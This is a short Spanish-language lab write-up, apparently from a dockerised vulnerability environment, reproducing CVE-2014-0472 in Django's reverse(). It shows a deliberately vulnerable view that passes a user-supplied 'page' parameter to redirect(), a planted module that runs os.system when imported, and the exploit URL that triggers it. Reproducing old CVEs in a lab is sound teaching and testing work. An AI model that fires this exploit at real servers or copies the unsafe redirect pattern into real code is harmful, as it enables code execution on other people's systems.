
CVE-2014-0472 Django ejecución de código inesperada usando reverse()
Usa
docker-compose up -d
Accede a localhost:8083
Referencia: https://www.djangoproject.com/weblog/2014/apr/21/security/
- Una o más vistas están presentes que construyen una URL basada en la entrada del usuario (comúnmente, un parámetro "next" en una cadena de consulta que indica a dónde redirigir al completar exitosamente una acción).
- Uno o más módulos son conocidos por un atacante que existen en la ruta de importación de Python del servidor, los cuales realizan ejecución de código con efectos secundarios al importarlos.
En tests.py
def evil_function():
print("exploit successful")
os.system("echo > /tmp/`whoami` ")
return os.getuid()
evil = evil_function()
En views.py
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
Usa la función redirect para llamar a la función evil

Usa exp
http://your-ip:8083/example?page=app.tests.evil

Explotado
